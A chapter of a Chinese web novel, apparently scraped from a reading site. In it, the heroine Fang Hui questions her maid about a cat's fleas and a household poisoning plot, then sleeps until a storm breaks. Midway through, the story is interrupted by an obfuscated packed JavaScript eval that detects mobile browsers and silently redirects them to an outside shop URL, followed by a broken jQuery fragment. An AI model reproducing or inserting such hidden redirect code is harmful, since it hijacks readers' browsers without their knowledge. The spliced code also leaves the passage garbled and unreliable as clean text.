方洄在一路异样目光的注视下和窸窣不止的议论声中回到陶府,一进院子,她便浑身无力地靠坐在廊沿上。
在外消磨一天,她电量严重不足,只想什么都不干瘫倒在床上。
但去床上又要耗费力气脱衣服,她干脆选了这么个去处。
侍女见状,为她寻来软褥垫在身下,让她倚得更舒服些。
方洄借机问过,怀中手帕是原主中毒那晚才出现的,掉在角落,被收拾房间的侍女无意间捡到。
想必是原主服毒前不小心掉的,至于如何到了原主手中,却没有丝毫线索。
侍女已将蜜饯装入食盒,让方洄抱在怀中,吃的多了,她不禁嚼的有些累,缓缓闭上眼睛,耳边回响起绿芜的话:
“来福一直由奴婢照料,奴婢知道二小姐喜欢抱着来福,便十分注意给来福清洁,来福身上也一直很干净,两三年前却突然生起了跳蚤,不知何处来的。二小姐怀疑是来福趁奴婢不注意时,跟院外的流浪猫狗混在一起才沾上的,也未曾追究,只是让奴婢去药堂买些驱虫的药。”
方洄沉思,这跳蚤多半不是凭空而来。
她注意到绿芜所说的时间,问道:“我月事不调从何时开始的?”
方洄的跨度过大,绿芜愣了下,方才回答:“陆公子离开后,二小姐忧思过度,才落下此症,之前从未出现过。”
方洄算了下,大概四年前,又问:“后来有好转吗?”
绿芜摇头:“老夫人虽为二小姐请了许多妇科圣手,却丝毫不见好,反而越来越重。老夫人还担心二小姐因此嫁不出去,为你寻夫家时都是瞒着的,连陶家都不知道。”
看来从那时起害原主的人就开始行动了。
方洄将注意力转回来福身上:“给来福买的是南鹤虱吗?”
绿芜点头:“民间给猫狗除虱,多用此药。”
“效果如何?”
“给来福洗了几次,身上倒是干净了,但它学会翻墙后总是乱跑,没过多久又沾一身回来,奴婢都想找铁匠打副镣铐将它拴起来了,但二小姐你心疼它,不让。”
方洄表示赞同:“毕竟是猫不是狗。”
绿芜叹了口气:“二小姐你心肠太好,就算来福是狗,也不会舍得将它拴着,奴婢只得常常用南鹤虱为它擦洗,每次还要避着人,若让老夫人知道来福生了虱子,一定会让二小姐将它丢掉。”
“母亲不喜欢猫吗?”
绿芜略显无奈:“二小姐,你可是将什么都忘了,若不是大小姐说情,来福早就被送人了。”
方洄确实不记得这一回事,听见方莜的名字,不由好奇:“这是什么时候的事?”
“三四年前了,”绿芜道,“来福嘴馋,偷吃了老夫人腌的腊肉,被老夫人逮个正着,将它狠狠打了一顿,还想趁二小姐病着将它送走,没想到大小姐出面拦了下来。真奇怪,她往日从来不管二小姐的事的。”
方洄也觉得奇怪,这位大小姐出现的未免太凑巧:“姐姐跟我关系如何?”
绿芜回的干脆:“大小姐不喜欢二小姐,从不跟二小姐亲近。”
“为何?”
“奴婢也不清楚,反正大小姐在二小姐面前从来没有过笑脸,跟其他人倒有说有笑的,这不是明显不喜欢吗?”
方洄不由好奇:“我得罪过她?”
绿芜愤愤然:“就是没得罪过才叫人生气,不知她整日板着脸给谁看。”
方洄叹了口气,这姐妹俩的关系叫人摸不着头脑啊。
她将对话拉回正题:“你可还记得来福上次长虱子是什么时候?”
“……大概是一个多月前,那时二小姐还未出嫁。”绿芜说到这气哼哼的,“原本这蠢猫已经干净好几个月了,奴婢高兴得不得了,还想着抱它一起送二小姐出阁,没想到第二天便被跳蚤咬醒了,真想将它直接丢进粪坑。”
“不过没办法,”绿芜咬牙切齿地抓了抓来福的脑袋,惹来对方一声喵叫,“谁叫二小姐如此喜欢你呢,受再大的罪奴婢只能人了,谁叫奴婢身上长不了这许多毛,可以被二小姐时时抱着。”
方洄失笑:“你身上若是长毛,岂不成了怪物。买来的南鹤虱可还有剩余?”
“!!”绿芜顿时警铃大作,伸手去夺来福,“是它身上又生虱子了吗?!二小姐你快把它给我!”
“没有没有,你别着急!”方洄赶紧解释,“我只是问问。”
绿芜这才冷静下来,彻底松了口气:“这猫真叫人不省心……南鹤虱原本还有些,不过前些日子府上丢了东西,老夫人怀疑自家出了贼,便派赵妈妈搜查院子,奴婢担心南鹤虱会被发现,便趁人不注意,全丢进了塘里。二小姐若需要,奴婢再去归仁堂买一些。”
“先不必了。”方洄揉着来福的肉垫,若有所思。
良久,她终于开口:“府上何时丢的东西?”
“就在……”绿芜沉吟半晌,眼睛一亮,想到一个关键时间点,“就在来福被三少爷送到陶府的那天!”
这声回答有如霹雳,方洄登时血液上涌,心脏开始狂跳。
没想到她和陶楹费尽周折,最终还是打草惊蛇了。
不过她也随之确定,要害她的人就在这座宅子里。
只是让她想不明白的是,对方明知陶楹精通医理,为何还要将来福送到陶府?
难道对方想冒个险,万一陶楹没有察觉,计划便可顺利实施?
但即便如此,来福身上的牵牛子味也不可能长久,很快便会变淡,她一时半会儿也死不了,对方需要反复给来福浸泡才能达到目的,总不能自己跑来陶府。
买通陶府的仆从倒是个法子,不过难度极高,以她的经验,给来福涂个药都拼死不从,用药水给它擦洗更不可能配合,定会闹出很大动静。
若是故技重施,引来福生满身虱子,再用牵牛子偷梁换柱,过于笨拙且被陶楹发现的可能性极高。
无论怎么想,来福都已经失去了利用价值。
还是她将问题复杂化了……来福在陶府出现,本身就是个意外?
她脑中不由浮现方早行油哒哒的笑容:“早行那天为何会将来福送到陶府?”
绿芜原本见方洄面色发白,以为她不舒服,见她很快恢复如常,一颗心终于放下。
听见方洄如此问,她的小脸却又皱了起来,气呼呼回答:“是老夫人,她听说二小姐喝药后病了一场,整日在床上哭喊,说脸面被二小姐丢尽了,要跟二小姐一起死。三少爷心疼母亲,见她一直不吃不喝着了急,便想去陶府请二小姐回来劝说,几次都被陶家人拦在门外,才想了抱着来福去这个法子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773501|209968||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她显然憋了满腹牢骚,忍不住絮絮叨叨:“老夫人也真是的,二小姐生死未卜她一点儿都不关心,只顾自己的面子,早恨不得将二小姐从病床上扯过来听她哭嚎,今日也是闹了一通才罢休。”
“母亲,一直如此吗?”
绿芜点头:“但凡有不如她意的,便一哭二闹三上吊,整天要死要活的。”
方洄叹了口气,何其相似,何其相似啊。
她都怀疑原主是自己的前世。
不过绿芜所说,也证实的确是她想多了,来福被方早行送到陶府,完全是个偶然。
或许在得知来福被送过去后,对方就默认计划暴露,快速采取行动,将所有证据销毁。
即便她与陶楹很快将来福送了回去,选择将计就计,也失去了对方的信任。
方洄脑海中蓦然浮现方莜阴冷的眼神,依旧震的她一阵心凉。
她睁开眼睛,又捻了一枚杏脯,机械地嚼着。
总觉得事态一目了然,一切显而易见,但寻找罪证又是一个漫长的过程,她不免有些疲惫。
如果一直按兵不动,也许一年都活不到。不过在无知无觉中死亡,也不失为一种好死法。
或许明天太阳升起,她又会重整旗鼓,但今天的精力已彻底耗尽,吃东西都没有力气,她不想再有任何精神支出。
如果这个时候有人暗杀她,她恐怕也不会动一下。
方洄半躺在廊沿上,望着不远处的竹影,让自己彻底放空。
无论哪个世界,每个人都各怀心思,即便是绿芜她也不敢完全信任,与他们交谈时,她总是随时紧绷。
好像只有陶楹,让她可以全然放下防备,他也像眼前的竹子,对她一无所求。
她望着一直没吃的山楂蜜糕,捏起一块,浅浅尝了一口。
入口酸甜清冽,带着淡淡的软糯蜜香,果然是他,即使爱吃的蜜饯,口味也极淡。
陶楹看上去跟她很像,话并不多,只是不知他脑中是否也像自己一样,没有片刻停歇。只要一睁眼,便会冒出无数个念头,心中时刻装着各种想法,从没干净的时候。
不知陶楹不说话时在想什么,但似乎不会像她一样,总是一团乱麻。
内心的混乱提醒方洄,她今天信息过载了,她需要关闭大脑,让自己停止思考。
睡梦中,她又回到了原来的世界,王氏的脸和记忆中的脸重合,方莜突然出现,手中拎着一把斧子,森冷地看着她,她察觉到危险,大声向王氏呼救,王氏却始终背着身子,不看她一眼。
方洄在战栗中惊醒,心脏有股剧烈的不适,她从廊沿上坐起来,身上不知何时被盖了一方薄毯,食盒也被安置在一边,天色昏暗,四下寂然。
须臾,狂风大作,撩动着她的裙摆,她仰头看去,天边已然堆叠一层厚重的黑云,掩盖了半个天空,树叶随风撼动,扑簌摇摆不止。
侍女匆匆赶来,见方洄已然起身,忙道:“二夫人,你醒啦,快进屋吧,起风了。”
方洄被扶了进去,室内烛影扑朔,比往日更暗了几分,风紧随其后,呼啸着钻进屋子,侍女忙合上窗户。
方洄一贯喜欢室内亮些,侍女又点燃几根蜡烛,与此同时,院中电闪雷鸣,映彻整个天空。
不久,暴雨倾盆而至。